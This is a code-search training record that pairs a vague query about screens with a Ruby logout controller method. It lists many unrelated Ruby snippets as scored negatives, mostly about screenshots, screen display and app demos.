"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def openid_client_id=(_arg0); end",
"def show\n @client = Client.find(@current_user[\"client_id\"])\n\n respond_to do |format|\n format.html \n format.xml { render :xml => @client }\n end\n end",
"def ClientName=(arg0)",
"def ClientName=(arg0)",
"def app_id; end",
"def app_id; end",
"def inspect\n \"#<#{self.class.name}: api_id=#{api_id.inspect}>\"\n end",
"def show\n @client_name = Client.find(@activity.client_id).complete_name\n end",
"def show\n # @client = Client.find(params[:client_id])\n end",
"def client_id\n ENV['KONTENA_CLIENT_ID'] || CLIENT_ID\n end",
"def client_id\n connection.id\n end",
"def show\n @client = Client.find params[:client_id]\n end",
"def show\n @api_client = ApiClient.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @api_client }\n end\n end",
"def client_id\n ENV['WICKET_CLIENT_ID']\n end",
"def client_channel\n \"#{access_key}-client\"\n end",
"def client_info\n #implement\n client_information = \"#{@name_str} #{@age_num} #{@pet_num}\"\n end",
"def get_client_summary_for_tenant(args = {}) \n get(\"/tenants.json/backoffice/clients/summary/#{args[:tenantId]}\", args)\nend",
"def set_client_id(id)\n @client_id = id.is_a?(Integer) ? [id].pack(\"N\") : id.to_s\n end",
"def show\n\t\t@client = Client.find(params[:id])\n\t\tif @client.status != 0\n\t\t\trender :json => @client, status: 200\n\t\telse\n\t\t\trender :json => @client.status, status: 400\n\t\tend\n\tend",
"def uuid\n init_vars\n\n render :text => @pubnub.uuid\n end",
"def user_id\n raise \"Implement in Client or Advocate\"\n end",
"def client_name\n me.client.name\n end",
"def default_client_id\n \"1B47512E-9743-11E2-8092-7F654762BE04\"\n end",
"def to_s; \"#<Veritable::API url='#{api_base_url}'>\"; end",
"def show(id)\n @client = Locomotive::Client.get(id)\n raise NotFound unless @client\n display @client\n end",
"def show\n @client = Client.find(params[:id])\n\n end"
] |
[
"0.75982255",
"0.71889406",
"0.70441616",
"0.6901879",
"0.6744241",
"0.6731397",
"0.6731397",
"0.6730047",
"0.6730047",
"0.6722395",
"0.66101027",
"0.65980667",
"0.65912783",
"0.65839916",
"0.6557157",
"0.64711756",
"0.6434851",
"0.6426976",
"0.6426976",
"0.642261",
"0.6404448",
"0.63673",
"0.63370425",
"0.6325252",
"0.632066",
"0.62999356",
"0.6222254",
"0.61442333",
"0.6122128",
"0.6122128",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6121577",
"0.6119266",
"0.61069846",
"0.6043087",
"0.6043087",
"0.6035893",
"0.6035893",
"0.59942305",
"0.5991373",
"0.59654075",
"0.59405065",
"0.5935929",
"0.5926796",
"0.59224844",
"0.58939207",
"0.58801293",
"0.5874621",
"0.5864128",
"0.58511543",
"0.58472955",
"0.5838443",
"0.58365136",
"0.5813643",
"0.58058506",
"0.57770497",
"0.5776077",
"0.57705724"
] |
0.0
|
-1
|
these actions are for development
|
def list_apps
render :text => app_configs.keys
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def development\r\n\r\n end",
"def developer\n end",
"def dev() end",
"def actions; end",
"def action_hook; end",
"def run_actions; end",
"def maintenance\n end",
"def allow_production; end",
"def before_dispatch(env); end",
"def request_debug_assets?; end",
"def request_debug_assets?; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def before_dispatch(_env)\n end",
"def allow_production=(_arg0); end",
"def action_run\n end",
"def prod_db2dev\n exit_if_production\n prod_db_backup\n prod_db_pull\n prod_db_load\n end",
"def admin_logic\n end",
"def debug\n\t\t\texec_parsed_action('debug', [], false)\n\t\tend",
"def before_run; end",
"def apis; end",
"def stage\n 'dev'\n end",
"def view_flow; end",
"def define_action_hook; end",
"def autorun; end",
"def default\n\tcall 'utopia:development'\nend",
"def default\n\tcall 'utopia:development'\nend",
"def default\n\tcall 'utopia:development'\nend",
"def admin_run\n\t\t#admin_visit_links\n\t\tadmin_get_html_from_link\n\t\t#admin_parse_merchant_from_html\n\t\t#admin_get_latlon_from_address\n\t\t#admin_move_html_from_merchant_to_html\n\tend",
"def before_action \n end",
"def setup\n\t\tend",
"def setup\n\t\tend",
"def debug\n render status: :forbidden unless current_user.admin?\n @app = Application.where(category: Application.categories[:fellowship])\n end",
"def actions() ; info[:actions] ; end",
"def actions() ; info[:actions] ; end",
"def action_enable\n end",
"def skip_actions; end",
"def list_inventory_debug\n render :action => 'debug'\n end",
"def workflow\n end",
"def before_setup; end",
"def add_actions; end",
"def activate; end",
"def api; end",
"def api; end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action\n end",
"def edit_action_explain; \"Edit weblog's configuration\"; end",
"def setup\n\n end",
"def setup\n\n end",
"def action args = {}\n\t\tend",
"def prepare_for_action\n # #don't save stuff between requests\n NotRelational::RepositoryFactory.instance.clear_session_cache\n @@page_blurbs =Set.new\n @renderer_params={}\n $current_weblab=nil\n @current_user=nil\n @displayed_blurb_names=Set.new\n # if BannedIp.is_banned?(request.remote_ip)\n # head(401)\n # return\n # end\n\n prepare_language_for_action\n prepare_powerbar_for_action\n prepare_rendermode_for_action\n prepare_weblab_for_action\n\n\n self.page_title=\"Rengine\"\n self.no_wrap=false\n return true\n end",
"def production_curtailment; end",
"def post_production\n\t\"The last storyteller is always the editor. Let's get to it!\"\nend",
"def debug?; debug_abilities? || debug_authorize? || debug_authorize_blank?; end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def debug; end",
"def debug; end",
"def debug; end",
"def debug; end",
"def setup\r\n end",
"def stage; end",
"def stage; end",
"def developers_only! \n end_session!\n exception = Exceptional::DevsOnly.new(\"The System is currently offline for development, please contact Team::Dev\")\n exception.javascript = \"<script type='text/javascript'> setTimeout(function(){window.location.href = '/'}, 10000); </script>\"\n raise exception\n end",
"def on_pre_request( request )\n end",
"def before_filter; end",
"def hidden_apis; end",
"def development?; self == \"development\"; end",
"def on_pre_request( request ); end",
"def action\n end",
"def environment\n 'dev'\nend",
"def copy_actions\r\n end",
"def active; end",
"def active; end",
"def project; end",
"def development? ; @app.options[:env] == :development ; end",
"def run()\n\t\tif Core::DEBUG\n\t\t\traise \"View #{self.class.name} can't be build because run method is not redefined.\"\t\t\n\t\tend\n\tend",
"def manage\n\n end",
"def development?\n !production?\n end",
"def setup\n\t\t# Do nothing\n\tend",
"def setup\n\t\t# Do nothing\n\tend",
"def settings; end",
"def settings; end",
"def activate()\n end",
"def how_it_works\r\n end",
"def developer\n # redirect_to(:controller => 'docu', :action => 'index')\n end",
"def show\n authorize @development\n end",
"def action_name; end",
"def setup\n\n end",
"def setup\n\n end",
"def setup\n\n end",
"def curation\n end",
"def projects ; end",
"def restrict_developer\n if (controller_name == 'user_sessions' and action_name == 'destroy') or\n (controller_name == 'users' and (action_name == 'edit' || action_name == 'update'))\n return\n end\n if current_user and is_developer \n redirect_to :controller => 'efforts'\n end\n end",
"def standalone; end",
"def api_only; end"
] |
[
"0.7686353",
"0.6718021",
"0.6708541",
"0.6623451",
"0.6393749",
"0.6239733",
"0.6166546",
"0.6123369",
"0.6102154",
"0.60734874",
"0.60734874",
"0.60446393",
"0.60446393",
"0.60446393",
"0.60446393",
"0.60446393",
"0.6026852",
"0.5947523",
"0.59231967",
"0.5916279",
"0.5908385",
"0.59031874",
"0.58549774",
"0.5850224",
"0.58367455",
"0.5792149",
"0.5787427",
"0.5775083",
"0.57566607",
"0.57566607",
"0.57566607",
"0.57137334",
"0.57098293",
"0.5706442",
"0.5706442",
"0.56970495",
"0.56702495",
"0.56702495",
"0.56613344",
"0.56558025",
"0.5650846",
"0.56417096",
"0.56322074",
"0.56200373",
"0.5611145",
"0.5606034",
"0.5606034",
"0.56054145",
"0.56054145",
"0.559332",
"0.5592797",
"0.55900246",
"0.55900246",
"0.5582892",
"0.5575888",
"0.55680573",
"0.5567559",
"0.5567043",
"0.55570173",
"0.55570173",
"0.55570173",
"0.5543685",
"0.5543685",
"0.5543685",
"0.5543685",
"0.55395335",
"0.5537492",
"0.5537492",
"0.55353034",
"0.55312365",
"0.55256605",
"0.551659",
"0.55161726",
"0.5516054",
"0.55123943",
"0.5508378",
"0.5503441",
"0.5501576",
"0.5501576",
"0.54908866",
"0.54896843",
"0.5488656",
"0.54881686",
"0.5484121",
"0.5475524",
"0.5475524",
"0.5472876",
"0.5472876",
"0.54703563",
"0.546895",
"0.54642034",
"0.54427266",
"0.5436177",
"0.5429093",
"0.5429093",
"0.5429093",
"0.5426054",
"0.5420726",
"0.54183227",
"0.54160726",
"0.54113185"
] |
0.0
|
-1
|
not capture screens, but used for this app.
|
def logout
sign_out
# render :text => "single sign off" and return unless params["from_sso"].nil?
redirect_to "#{my_addr}/#{app.name}/home"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def classroom_app_force_unprompted_screen_observation\n return @classroom_app_force_unprompted_screen_observation\n end",
"def no_recapture\n @recapture = false\n end",
"def classroom_app_block_remote_screen_observation\n return @classroom_app_block_remote_screen_observation\n end",
"def onScreenUnlocked\n Util.log.debug 'Screen unlocked'\n Info.locked = false\n self.displayDiff\n end",
"def captureScreen(filename=nil, hidePatientDetails=false)\n screenCaptureBtn = Element.new(\"Capture Screen Button\", \":Form.captureScreenButton_QPushButton\")\n screenCaptureBtn.click\n snooze 1\n ScreenCapturePopup.new.saveScreenshot(filename, hidePatientDetails)\n end",
"def setDefaultScreen(screen)\n if screen.respond_to?(:click)\n $DEFAULT_SCREEN = screen\n Debug.log(\"Screen switched\")\n end\n end",
"def setDefaultScreen(screen)\n if screen.respond_to?(:click)\n $DEFAULT_SCREEN = screen\n Debug.log(\"Screen switched\")\n end\n end",
"def screen_capture_blocked\n return @screen_capture_blocked\n end",
"def screen_capture_blocked\n return @screen_capture_blocked\n end",
"def screen_capture_blocked\n return @screen_capture_blocked\n end",
"def full_screen; end",
"def screens\n @screens.keys.each {|screen| @logger.unknown(screen)}\n end",
"def display(screen)\n\n end",
"def screenshot path = '~/Desktop'\n capture_screen self, path\n end",
"def create_wait_for_play_screen\r\n @log.error \"create_wait_for_play_screen: not implemented\\n\"\r\n end",
"def screen\n BubbleWrap::Device::Screen\n end",
"def screen_z\n super\n end",
"def screen_z\n super\n end",
"def blank_screen\n self.bitmap = Bitmap.new(self.viewport.width, self.viewport.height)\n end",
"def disable_log_to_screen\n @log_to_screen = false\n end",
"def work_profile_block_screen_capture\n return @work_profile_block_screen_capture\n end",
"def initialize_screen\n try_set_screen\n\t Klass.initialize(@handle)\n\t true\n end",
"def after_post_process_screens\n @after_post_process_screens ||= {\n :fatal => [],\n :error => [],\n :warn => []\n }\n end",
"def handle_offscreen_right() end",
"def handle_offscreen_right() end",
"def screens\n @screens ||= {\n :fatal => [],\n :error => [],\n :warn => []\n }\n end",
"def captureScreen(filename=nil, hidePatientDetails=false)\n @appHeaderFooter.captureScreen(filename, hidePatientDetails)\n return self\n end",
"def captureScreen(filename=nil, hidePatientDetails=false)\n @appHeaderFooter.captureScreen(filename, hidePatientDetails)\n return self\n end",
"def onScreenLocked\n Util.log.debug 'Screen locked'\n Info.locked = true\n Info.start_time = NSDate.date unless Info.start_time\n Util.send_pushover('Locked')\n end",
"def screen_capture(fileName)\n return $marathon.saveScreenShot(fileName)\nend",
"def curses_menu_finalize\n @screenshot = capture_screenshot\n super\n end",
"def write_to_screen!; end",
"def write_to_screen!; end",
"def screen_capture(fileName)\n return $marathon.saveScreenShot(fileName)\nend",
"def saos\n save_and_open_screenshot\n end",
"def XOinitScreenShot()\n\t\t@screenList= Array.new\n\t\t$alog.lwrite('Image list cleared ', 'DEBG')\n\t\tres= OK\n\t\treturn res\n\tend",
"def app_mgmt_launch_app(screen, app)\r\n\r\n if (app == \"Eclipse\")\r\n\t\tspawn(\"sudo #{Cosmos::USERPATH}/../eclipse/eclipse/eclipse\")\r\n elsif (app == \"AppGen\")\r\n\t\tspawn(\"java -jar #{CFS_KIT_GEN_APP_DIR}/CreateApp.jar\")\r\n elsif (app == \"APP_SUMMARY\")\r\n display(\"CFS_KIT APP_SUMMARY_SCREEN\",50,50)\r\n else\r\n prompt(\"Error in screen definition file. Undefined commmand sent to app_mgmt_launch_app()\")\r\n end\r\n\r\nend",
"def dispatcher\n screen = screen_name\n # continuosly remove tokens seperated by '_', starting from the end\n # until there are no more tokens, or we find one that we respond to\n begin\n if self.respond_to?(screen.to_sym) \n self.method(screen).call\n return\n end\n tokens = screen.split(\"_\")\n screen = tokens.take(tokens.length - 1).join(\"_\")\n end while screen != \"\"\n # even if we don't have an action for this screen, attempt to embed it.\n # if anything captureui will just 404 or complain.\n embed_screen\n end",
"def init_screen screen\n\n screen.set_editable false\n screen.set_xalign 1\n screen.set_can_focus false\n\n end",
"def start_screen_appear\n mp \"bringing up start screen\"\n start_screen_video\n view_object.addStartscreenappearAnimationReverse(false, totalDuration: 0.5)\n #view_object.addDialselection5to1AnimationReverse(false, totalDuration: 0.5)\n cueserver.spectrum_1\n end",
"def captureScreen(filename=nil, hidePatientDetails=false)\n @appHeaderFooterEdit.captureScreen(filename, hidePatientDetails)\n return self\n end",
"def captureScreen(filename=nil, hidePatientDetails=false)\n @appHeaderFooterEdit.captureScreen(filename, hidePatientDetails)\n return self\n end",
"def initial_screen\n clear_screen\n option = main_options\nend",
"def initialize(screen = Sikulio::Screen.instance.screen)\r\n self.screen = screen\r\n end",
"def handle_fell_off_screen\n end",
"def snapScreen\n bmp = Graphics.snap_to_bitmap\n width = self.viewport ? viewport.rect.width : Graphics.width\n height = self.viewport ? viewport.rect.height : Graphics.height\n x = self.viewport ? viewport.rect.x : 0\n y = self.viewport ? viewport.rect.y : 0\n self.bitmap = Bitmap.new(width,height)\n self.bitmap.blt(0,0,bmp,Rect.new(x,y,width,height)); bmp.dispose\n end",
"def skip_welcome_screen\n @attributes[:skip_welcome_screen]\n end",
"def skip_welcome_screen\n @attributes[:skip_welcome_screen]\n end",
"def classroom_app_force_unprompted_screen_observation=(value)\n @classroom_app_force_unprompted_screen_observation = value\n end",
"def make_screen\n flags = [HWSURFACE, DOUBLEBUF] # FULLSCREEN will be added later\n @screen = Screen.open( [600, 900], 0, flags )\n @screen.title = \"Geotower for great good!\"\n end",
"def make_screen\n @screen = Screen.new(Configuration.screen[:size], 32, [HWSURFACE, DOUBLEBUF])\n\n @screen.title = \"Towerdefence!\"\n end",
"def capture_device\n determine_capture_device\n end",
"def reset_screen!\n clear_screen!\n move_to_home!\n end",
"def window_capture(fileName, windowName)\n return $marathon.saveScreenShot(fileName)\nend",
"def set_default_screenshot(screen)\n return unless screen\n \n self.thumb_url = screen.screenshot.url(:thumb)\n self.preview_url = screen.screenshot.url(:original)\n self.screenshot_url = screen.screenshot.url\n self.save\n end",
"def window_capture(fileName, windowName)\n return $marathon.saveScreenShot(fileName)\nend",
"def app_mgmt_demo(screen, button)\n\n $instruct1 = screen.get_named_widget(\"Instruct1\")\n $instruct2 = screen.get_named_widget(\"Instruct2\")\n $instruct3 = screen.get_named_widget(\"Instruct3\")\n $instruct4 = screen.get_named_widget(\"Instruct4\")\n $instruct5 = screen.get_named_widget(\"Instruct5\")\n $instruct6 = screen.get_named_widget(\"Instruct6\")\n $instruct7 = screen.get_named_widget(\"Instruct7\")\n\n if (button == \"INFO\")\n \n display(\"CFS_KIT APP_MGMT_DEMO_INFO_SCREEN\",500,50) \n\n elsif (button == \"NEXT\")\n \n $amd_step += 1\n $amd_demo = 0\n \n if ($amd_step <= AMD_LAST_STEP)\n amd_set_instruct_text($amd_step)\n end\n\n case $amd_step\n when 1\n display(\"CFS_KIT APP_MGMT_SCREEN\",1500,50) \n display(\"SIMSAT CFS_APP_SCREEN\",50,50) \n cmd(\"CFE_EVS ENA_APP_EVENT_TYPE with APP_NAME CFE_ES, BITMASK 0x01\") # Enable debug events\n wait(2) \n cmd(\"CFE_EVS ENA_APP_EVENT_TYPE with APP_NAME CFE_EVS, BITMASK 0x01\") # Enable debug events\n when 2..AMD_LAST_STEP\n # Keep case statement for maintenance\n else\n cmd(\"CFE_EVS DIS_APP_EVENT_TYPE with APP_NAME CFE_EVS, BITMASK 0x01\") # Disable debug events\n wait(2) \n cmd(\"CFE_EVS DIS_APP_EVENT_TYPE with APP_NAME CFE_ES, BITMASK 0x01\") # Disable debug events\n $amd_step = 0\n clear(\"CFS_KIT APP_MGMT_SCREEN\") \n clear(\"SIMSAT CFS_APP_SCREEN\") \n clear(\"CFS_KIT APP_MGMT_DEMO_SCREEN\")\n clear(\"CFS_KIT APP_MGMT_DEMO_INFO_SCREEN\")\n end # Step Case\n \n elsif (button == \"DEMO\")\n \n case $amd_step\n\n # Lookup a symbol\n when 1\n if ($amd_demo == 0)\n Osk::flight.cfe_es.send_cmd(\"SEND_APP_INFO with APP_NAME #{AMD_INFO_APP}\")\n # Don't increment amd_demo; okay if user repeatedly sends lookup cmd\n end\n \n # 2 - Enable/disable app events\n when 2\n case $amd_demo\n when 0 \n Osk::flight.cfe_evs.send_cmd(\"DIS_APP_EVENT_TYPE with APP_NAME #{AMD_INFO_APP}, BITMASK 0x02\") # Disable info events\n $amd_demo += 1\n when 1 \n cmd(\"#{AMD_INFO_APP} NOOP\")\n $amd_demo += 1\n when 2 \n Osk::flight.cfe_evs.send_cmd(\"ENA_APP_EVENT_TYPE with APP_NAME #{AMD_INFO_APP}, BITMASK 0x02\") # Enable info events\n $amd_demo += 1\n when 3\n cmd(\"#{AMD_INFO_APP} NOOP\")\n $amd_demo = 0\n else\n $amd_demo = 0\n end # Case $amd_demo\n\n # 3 - Stop App\n when 3\n case $amd_demo\n when 0\n Osk::flight.cfe_es.send_cmd(\"SEND_APP_INFO with APP_NAME #{AMD_LOAD_APP}\")\n $amd_demo += 1\n when 1\n cmd(\"#{AMD_LOAD_APP} NOOP\")\n $amd_demo += 1\n when 2\n Osk::flight.cfe_es.send_cmd(\"STOP_APP with APP_NAME #{AMD_LOAD_APP}\")\n $amd_demo += 1\n when 3\n cmd(\"#{AMD_LOAD_APP} NOOP\")\n $amd_demo += 1\n end # Case $amd_demo\n\n # 4 - Start App\n when 4\n if ($amd_demo == 0)\n Osk::flight.cfe_es.send_cmd(\"START_APP with APP_NAME #{AMD_LOAD_APP}, \\\n APP_ENTRY_POINT MD_AppMain, \\\n APP_FILENAME #{AMD_LOAD_APP_FILE}, \\\n STACK_SIZE 16384,\\\n EXCEPTION_ACTION 0, \\\n PRIORITY 100\")\n \n $amd_demo += 1\n elsif ($amd_demo == 1)\n Osk::flight.cfe_es.send_cmd(\"SEND_APP_INFO with APP_NAME #{AMD_LOAD_APP}\")\n $amd_demo += 1\n elsif ($amd_demo == 2)\n cmd(\"#{AMD_LOAD_APP} NOOP\")\n # Don't increment $amd_demo, let user continually send noop \n end\n\n end # Step Case\n end # Demo\n \nend",
"def XOtakeScreenShot()\n\t\tbegin\n\t\t\tif(@brTypeSym== :chrome)\n\t\t\t\twidth = @wwBrws.execute_script(\"return Math.max(document.body.scrollWidth, document.body.offsetWidth, document.documentElement.clientWidth, document.documentElement.scrollWidth, document.documentElement.offsetWidth);\")\n\t\t\t\theight = @wwBrws.execute_script(\"return Math.max(document.body.scrollHeight, document.body.offsetHeight, document.documentElement.clientHeight, document.documentElement.scrollHeight, document.documentElement.offsetHeight);\")\n#\n# Add some pixels on top of the calculated dimensions for good\n# measure to make the scroll bars disappear\n#\n\t\t\t\t@wwBrws.window.resize_to(width+100, height+100)\n\t\t\tend\n\n\t\t\timgName= $gcfd.report_path+@wwBrws.url.tr(\" =%?*/\\\\:&~\",'_')[0..100]+Time.now.to_i.to_s+'.png'\n\t\t\t@wwBrws.screenshot.save imgName\n\t\t\t@screenList << imgName\n\t\t\t$alog.lwrite(('Image saved in '+imgName), 'DEBG')\n\t\t\tres= OK\n\t\trescue\n\t\t\t$alog.lwrite('Problems taking screenshots: '+$!.to_s, 'ERR_') \t\t\t\t#\n\t\t\tres= CRITICAL\n\t\tend\n\t\treturn res\n\tend",
"def mirror_screens\n exec(\"displays mirror\")\n end",
"def screenshot_large\n screenshot()\n end",
"def snap_screen\n bmp = Graphics.snap_to_bitmap\n width = self.viewport ? viewport.rect.width : Graphics.width\n height = self.viewport ? viewport.rect.height : Graphics.height\n x = self.viewport ? viewport.rect.x : 0\n y = self.viewport ? viewport.rect.y : 0\n self.bitmap = Bitmap.new(width,height)\n self.bitmap.blt(0,0,bmp,Rect.new(x,y,width,height)); bmp.dispose\n end",
"def screen\n return $game_map.screen\n end",
"def method_missing(method_sym, *arguments, &block)\n\n if method_sym.to_s =~ /^(.*)_screen$/\n class_name = $1.camel_case\n variable_name = \"@#{class_name}\".to_sym\n\n # If we haven't asked for this screen before, create it.\n # Otherwise return the existing instance\n if self.instance_variable_defined? variable_name\n instance = self.instance_variable_get variable_name\n else\n start_app_if_needed\n instance = class_with_name class_name\n self.instance_variable_set variable_name, instance\n end\n\n # Always return the instance we just created/accessed\n instance\n\n else\n super\n end\n\n end",
"def get_fusion_vm_screen(options)\n exists = check_fusion_vm_exists(options)\n if exists == true\n vm_list = get_running_fusion_vms(options)\n if vm_list.to_s.match(/#{options['name']}/)\n fusion_vmx_file = get_fusion_vm_vmx_file(options)\n screencap_file = options['tmpdir']+\"/\"+options['name']+\".png\"\n message = \"Information:\\tCapturing screen of \"+options['name']+\" to \"+screencap_file\n command = \"'#{options['vmrun']}' captureScreen '#{fusion_vmx_file}' '#{screencap_file}''\"\n execute_command(options,message,command)\n else\n handle_output(options,\"Information:\\t#{options['vmapp']} VM #{options['name']} is Not Running\")\n end\n else\n handle_output(options,\"Warning:\\t#{options['vmapp']} VM #{options['name']} doesn't exist\")\n end\n return\nend",
"def screen_is_on?\n dpms_screen_is_on?\n end",
"def to_screen?\n fail NotImplementedError\n end",
"def reset_screen\n clear_screen\n move_to_home\nend",
"def reset_screen\n clear_screen\n move_to_home\nend",
"def recorder_mgmt_demo(screen, button)\r\n\r\n $instruct1 = screen.get_named_widget(\"Instruct1\")\r\n $instruct2 = screen.get_named_widget(\"Instruct2\")\r\n $instruct3 = screen.get_named_widget(\"Instruct3\")\r\n $instruct4 = screen.get_named_widget(\"Instruct4\")\r\n $instruct5 = screen.get_named_widget(\"Instruct5\")\r\n $instruct6 = screen.get_named_widget(\"Instruct6\")\r\n $instruct7 = screen.get_named_widget(\"Instruct7\")\r\n\r\n if (button == \"INFO\")\r\n \r\n display(\"CFS_KIT RECORDER_MGMT_DEMO_INFO_SCREEN\",500,50) \r\n\r\n elsif (button == \"NEXT\")\r\n \r\n $rmd_step += 1\r\n $rmd_demo = 0\r\n \r\n if ($rmd_step <= RMD_LAST_STEP)\r\n rmd_set_instruct_text($rmd_step)\r\n end\r\n\r\n case $rmd_step\r\n when 1\r\n display(\"CFS_KIT RECORDER_MGMT_SCREEN\",500,50) \r\n cmd(\"CFE_EVS ENA_APP_EVENT_TYPE with APPNAME DS, BITMASK 0x01\") # Enable debug events\r\n when 2..RMD_LAST_STEP\r\n # Keep case statement for maintenance\r\n else\r\n cmd(\"CFE_EVS DIS_APP_EVENT_TYPE with APPNAME DS, BITMASK 0x01\") # Disable debug events\r\n $rmd_step = 0\r\n clear(\"CFS_KIT RECORDER_MGMT_SCREEN\") \r\n clear(\"CFS_KIT RECORDER_MGMT_DEMO_SCREEN\")\r\n clear(\"CFS_KIT RECORDER_MGMT_DEMO_INFO_SCREEN\")\r\n end # Step Case\r\n \r\n elsif (button == \"DEMO\")\r\n \r\n case $rmd_step\r\n\r\n # 1- \r\n when 1\r\n if ($rmd_demo == 0)\r\n # Don't increment rmd_demo; okay if user repeats cmd\r\n end\r\n \r\n # 2 - \r\n when 2\r\n case $rmd_demo\r\n when 0 \r\n $rmd_demo += 1\r\n when 1 \r\n $rmd_demo += 1\r\n when 2 \r\n $rmd_demo += 1\r\n when 3\r\n $rmd_demo += 1\r\n else\r\n $rmd_demo = 0\r\n end # Case $rmd_demo\r\n\r\n # 3 - \r\n when 3\r\n if ($rmd_demo == 0)\r\n $rmd_demo += 1\r\n elsif ($rmd_demo == 1)\r\n $rmd_demo += 1\r\n elsif ($rmd_demo == 2)\r\n # Don't increment rmd_demo; okay if user repeats cmd\r\n end\r\n\r\n # 4 - \r\n when 4\r\n if ($rmd_demo == 0)\r\n $rmd_demo += 1\r\n elsif ($rmd_demo == 1)\r\n # Don't increment rmd_demo; okay to repeat last command\r\n end\r\n\r\n end # Step Case\r\n end # Demo\r\n \r\nend",
"def launchScreenParser()\n launchScreenStoryboard = @misc[\"launchScreenStoryboard\"]\n if launchScreenStoryboard != nil\n Logger::info(\"\")\n Logger::info(\"Writing LaunchScreenStoryboard\")\n launchScreenStoryboardHash = {}\n launchScreenStoryboard.each do |key,item|\n value = yamlItemValue(item)\n launchScreenStoryboardHash[key.to_s] = value\n end\n enabled = launchScreenStoryboardHash[\"enabled\"] == true\n path = launchScreenStoryboardHash[\"path\"]\n if path != nil\n path = \"#{@dirName}/#{path}\"\n if not File.file?(path)\n Logger::error(\"launchScreenStoryboard path cannot be found: #{path}\")\n end\n xml_data = File.read(path)\n doc = REXML::Document.new(xml_data)\n version = \"\"\n if enabled\n version = \"v#{@app_version}\"\n end\n doc.elements.each('//accessibility') do |obj|\n if obj.attributes[\"label\"].to_s == launchScreenStoryboardHash[\"labelName\"]\n obj.parent.attributes[\"text\"] = version\n end\n end\n Logger::log(\" Written '#{version}' in #{path} as version\")\n file_write(path, doc.to_s)\n end\n end\n end",
"def classroom_app_block_remote_screen_observation=(value)\n @classroom_app_block_remote_screen_observation = value\n end",
"def clear_screen\n print @screen.to_s\n end",
"def screenshot_small\n screenshot(:small)\n end",
"def camera\n end",
"def camera\n end",
"def realizarCapturaDePantalla\n self.getBrowser().screenshot.save(\"#{GEDORUTASCREENSHOT}GEDO_#{DateTime.now.strftime(\"%Y-%b-%d_%H%M%S\")}.png\")\n end",
"def setup_screen\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n screen = $game_troop.screen\n case @acts[1]\n when Screen_Tone\n return TSBS.error(@acts[0], 3, @used_sequence) if @acts.size < 4\n tone = @acts[2]\n duration = @acts[3]\n screen.start_tone_change(tone, duration)\n when Screen_Shake\n return TSBS.error(@acts[0], 4, @used_sequence) if @acts.size < 5\n power = @acts[2]\n speed = @acts[3]\n duration = @acts[4]\n screen.start_shake(power, speed, duration)\n when Screen_Flash\n return TSBS.error(@acts[0], 3, @used_sequence) if @acts.size < 4\n color = @acts[2]\n duration = @acts[3]\n screen.start_flash(color, duration)\n when Screen_Normalize\n return TSBS.error(@acts[0], 2, @used_sequence) if @acts.size < 3\n tone = Tone.new\n duration = @acts[2]\n screen.start_tone_change(tone, duration)\n end\n end",
